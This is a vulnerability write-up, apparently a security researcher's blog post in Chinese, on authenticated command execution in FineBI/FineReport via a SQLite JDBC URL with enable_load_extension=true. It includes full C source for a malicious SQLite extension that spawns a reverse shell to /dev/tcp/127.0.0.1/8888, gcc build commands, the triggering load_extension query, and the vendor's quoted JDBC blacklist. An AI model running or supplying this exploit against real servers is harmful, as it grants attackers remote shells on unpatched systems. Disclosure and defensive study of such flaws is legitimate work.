fine报表问题

0x01 帆软finereBI/report后台本地命令执行

image-20240614022512688

JAR包版本号:

6.1.0(JAR:Build#persist-2024.05.30.11.06.10.457)

https://www.finebi.com/product/download

image-20240614022553224

对应版本6月12日的版本

0x02 poc 构造

下载发现官方软件代码,出厂lib中存在sqlite组件。

image-20240614023128668

http://localhost:37799/webroot/decision#/management/connection

在url可以配置数据库连接

image-20240614022840926

jdbcurl可控这里可以是设置为 jdbc:sqlite:DBPATH?enable_load_extension=true

开启**load_extension()**函数

https://sqlite.readdevdocs.com/loadext.html 这里有恶意dll 编写模版。

这里我是mac系统;

对应的恶意dll文件代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
#include <stdlib.h>
#include <stdio.h>
#include <sqlite3ext.h>
#include <sys/stat.h>
#include <unistd.h>
#include <fcntl.h>

SQLITE_EXTENSION_INIT1

#ifdef _WIN32
__declspec(dllexport)
#endif

/**
* Initializes the SQLite extension.
*
* @param db SQLite database pointer
* @param pzErrMsg Error message pointer
* @param pApi SQLite API routines pointer
* @return SQLITE_OK on success
*/
int sqlite3_extension_init(
sqlite3 *db,
char **pzErrMsg,
const sqlite3_api_routines *pApi
) {
int rc = SQLITE_OK;
SQLITE_EXTENSION_INIT2(pApi);

pid_t pid = fork();
if (pid < 0) {
perror("fork error");
exit(1);
} else if (pid > 0) {
// 父进程继续执行
// 可以在此处添加额外的代码逻辑
while (1) {
// 父进程持续执行其他任务
}
}

// 子进程继续执行
umask(0); // 设置文件权限掩码

// 创建新会话,并成为会话组组长
if (setsid() < 0) {
perror("setsid error");
exit(1);
}

// 关闭标准输入、输出、错误输出
close(STDIN_FILENO);
close(STDOUT_FILENO);
close(STDERR_FILENO);

// 打开一个新的文件描述符作为标准输入、输出、错误输出
int fd = open("/dev/null", O_RDWR); // 或者使用其他文件路径
dup2(fd, STDIN_FILENO);
dup2(fd, STDOUT_FILENO);
dup2(fd, STDERR_FILENO);
close(fd);

// 执行需要在后台运行的代码
const char *args[] = {"/bin/sh", "-c", "/bin/sh -i >& /dev/tcp/127.0.0.1/8888 0>&1", NULL};
execve("/bin/sh", (char* const*)args, NULL);

return 0;
return rc;
}

填写好接收反弹shell的地址。

使用gcc编译成恶意的动态链接库。

1
2
//Mac       gcc -fPIC -dynamiclib -o poc1.dylib poc.c
//linux gcc -fPIC -shared -o liboutput.so poc.c

然后修改成

然后在校验语句这里输入语句执行我们恶意动态库文件**SELECT load_extension(‘poc.dylib’)**; 修改为dylic的路径。

执行后nc接收到shell。

image-20240614022922220

0x03 代码分析

与finereport有点不同,

com.fr.decision.webservice.v10.datasource.connection.ConnectionService.getDriverPath

image-20240614024201059

在这里接受我们传入的jdbc连接

om.fr.decision.webservice.v10.datasource.connection.processor.impl.ConnectionProcessorFactory.getDriverPath

image-20240614024335360

com.fr.decision.webservice.v10.datasource.connection.processor.impl.JDBCConnectionProcessor.convertToJDBCConnectio

image-20240614024718057

一系列调用后来看这里,完成jdbc链接的赋值,最后调用validateSettings进行检查

com.fr.decision.webservice.v10.datasource.connection.processor.impl.JDBCConnectionProcessor.validateSettings

image-20240614025114552

这里会反射获取数据库服务,然后调用 JDBCSecurityChecker.checkUr进行检查。

com.fr.data.core.db.JDBCSecurityChecker#check

image-20240614025435321

然后在黑名单进行匹配。

image-20240614025745936

对应的黑名单

1
2
3
4
5
6
7
 
private static final InsecurityElement[] FORBIDDEN_ELEMENTS_OF_URL = new InsecurityElement[] {
(InsecurityElement)new InsecurityURLParameter("INIT="), (InsecurityElement)new InsecurityURLParameter("allowLoadLocalInfile="), (InsecurityElement)new InsecurityURLParameter("autoDeserialize="), (InsecurityElement)new InsecurityURLParameter("clientRerouteServerListJNDIName="), (InsecurityElement)new InsecurityURLParameter("jcr:jndi:"), (InsecurityElement)new InsecurityURLParameter("slaveHost="), (InsecurityElement)new InsecurityURLParameter("sqlite::resource"), (InsecurityElement)new InsecurityURLParameter("mysql:fabric"), (InsecurityElement)new InsecurityURLParameter("socketFactory="), (InsecurityElement)new InsecurityURLParameter("loggerFile="),
(InsecurityElement)new InsecurityURLParameter("TRIGGER"), (InsecurityElement)new InsecurityURLParameter("java.lang.Runtime"), (InsecurityElement)new InsecurityURLParameter("java.lang.ProcessBuilder"), (InsecurityElement)new InsecurityURLParameter("java.lang.ProcessImpl"), (InsecurityElement)new InsecurityURLResource() };

private static final InsecurityElement[] FORBIDDEN_ELEMENTS_OF_VALIDATION_QUERY = new InsecurityElement[] { (InsecurityElement)new InsecuritySQLKeyword("create"), (InsecurityElement)new InsecuritySQLKeyword("drop"), (InsecurityElement)new InsecuritySQLKeyword("alter"), (InsecurityElement)new InsecuritySQLKeyword("insert"), (InsecurityElement)new InsecuritySQLKeyword("delete"), (InsecurityElement)new InsecuritySQLKeyword("merge"), (InsecurityElement)new InsecuritySQLKeyword("attach"), (InsecurityElement)new InsecuritySQLKeyword("benchmark"), (InsecurityElement)new InsecuritySQLKeyword("xp_dirtree") };

可以看到enable_load_extension=true 不在黑名单中,最后找成了执行恶意动态库。

过于复杂,推荐前端复现。

0x04 修复

​ 等待官网修复,截止报告提交时间2024年6月14日,通杀所有版本。 截止8.4日,最新版已修复

声明

此文章 仅用于教育目的。请负责任地使用它,并且仅在您有明确测试权限的系统上使用。滥用此 PoC 可能会导致严重后果。


fine报表问题
https://unam4.github.io/2024/08/04/fine报表问题/
作者
unam4
发布于
2024年8月4日
许可协议